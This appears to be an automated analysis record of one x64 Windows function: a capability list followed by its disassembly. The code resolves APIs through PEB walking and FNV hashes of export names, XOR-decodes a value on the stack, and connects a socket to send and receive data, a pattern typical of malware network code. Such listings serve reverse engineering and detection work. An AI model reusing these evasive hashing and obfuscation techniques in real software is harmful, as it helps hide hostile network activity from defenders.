Function at 0x18001abe0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Initialize winsock library
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x18018f280]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov r15, rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
xor r12d, r12d
mov ecx, 0x102
lea rdx, [rbp + 0x90]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001ac5e
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
xor r8d, r8d
lea rdx, [0x18016596d]
mov rcx, rdi
call fcn.180009acc
mov rax, rdi
jmp 0x18001b214
movabs rax, 0xc2c6fb013be9f8da
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x161d6731bda6bd17
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x38], rax
movabs rax, 0xf4e8c83415dbcdeb
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
movabs rax, 0x161d670189949320
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
or r14d, 0xffffffff
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18001ad4d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18001ad4d
mov esi, dword [r10 + 0x20]
add r9d, r14d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov r11d, 0x811c9dc5
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18001ad48
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18001ad29
cmp r11d, 0xcc4cbcf3
je 0x18001ad52
test r9d, r9d
jne 0x18001ad0d
mov rax, qword [rax]
jmp 0x18001ace8
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
lea rcx, [rsp + 0x30]
call rdx
mov dword [rbp - 0x7c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18001adeb
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18001adeb
mov esi, dword [r10 + 0x20]
add r9d, r14d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov r11d, 0x811c9dc5
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18001ade6
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18001adc7
cmp r11d, 0xb1fdcf15
je 0x18001adf0
test r9d, r9d
jne 0x18001adab
mov rax, qword [rax]
jmp 0x18001ad86
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
mov ecx, 0xa452
call rdx
mov word [rbp - 0x7e], ax
mov r14d, 2
mov word [rbp - 0x80], r14w
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18001ae95
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18001ae95
mov ebx, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r8
mov r11d, 0x811c9dc5
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18001ae90
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18001ae71
cmp r11d, 0x9012766c
je 0x18001ae9a
test r9d, r9d
jne 0x18001ae55
mov rax, qword [rax]
jmp 0x18001ae30
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov r9d, dword [rdx + rax*4]
add r9, r8
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, r14d
call r9
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r9d, dword [rdx + r10 + 0x88]
add r9, r10
cmp r9, r10
je 0x18001af3a
mov r8d, dword [r9 + 0x18]
test r8d, r8d
je 0x18001af3a
mov esi, dword [r9 + 0x20]
dec r8d
lea rax, [r10 + r8*4]
mov edx, dword [rax + rsi]
add rdx, r10
mov r11d, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x18001af35
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x18001af16
cmp r11d, 0xaae0ccf9
je 0x18001af3f
test r8d, r8d
jne 0x18001aefa
mov rcx, qword [rcx]
jmp 0x18001aed5
mov ecx, dword [r9 + 0x1c]
add rcx, r10
mov eax, dword [r9 + 0x24]
add rax, r10
movzx eax, word [rax + r8*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x80]
mov rcx, r14
call r9
test eax, eax
je 0x18001af92
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], r12
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [r12 + rbx], r12b
jne 0x18001af7f
mov r8, rbx
xor edx, edx
jmp 0x18001ac4e
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x70]
call fcn.180130170
lea rcx, [rbp - 0x70]
call fcn.18001bc34
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18001b023
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18001b023
mov ebx, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r8
mov r11d, 0x811c9dc5
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x18001b01e
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x18001afff
cmp r11d, 0x58ba3d97
je 0x18001b028
test r9d, r9d
jne 0x18001afe3
mov rax, qword [rax]
jmp 0x18001afbe
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
mov rcx, r15
call rdx
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.18001be10
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.18001ba80
cmp qword [rax + 0x18], 0xf
jbe 0x18001b06a
mov rax, qword [rax]
xor r9d, r9d
lea r8d, [r9 + 0xa]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
mov esi, 0x1000
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x18001b0bb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x18001b0b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b245
call fcn.18008e330
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [r15 + r8], r12b
jne 0x18001b0c2
xor r9d, r9d
mov rdx, r15
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea r8d, [r9 + 0xa]
lea rdx, [rbp + 0x230]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18001b1f5
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x230]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x18001b111
mov r8, rbx
lea rdx, [rbp + 0x230]
lea rcx, [rsp + 0x30]
call fcn.180009acc
nop
lea rcx, [rsp + 0x30]
call fcn.180002348
movsxd rbx, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x18001b175
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, rsi
jb 0x18001b170
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b23f
call fcn.18008e330
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x180172c50]
movdqu xmmword [rsp + 0x70], xmm1
mov byte [rsp + 0x60], r12b
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180005b8c
mov r8d, ebx
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.18001aad4
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rdi + 0x10], xmm1
movdqa xmm0, xmmword [0x180172c50]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r12b
lea rcx, [rbp + 0x28]
call fcn.18001bb50
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x28]
call fcn.18008c6c8
nop
jmp 0x18001ac56
lea rcx, [rbp + 0x28]
call fcn.18001bb50
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x28], rax
lea rcx, [rbp + 0x28]
call fcn.18008c6c8
nop
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.18008e310
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.18010dd88
nop
call fcn.18010dd88
int3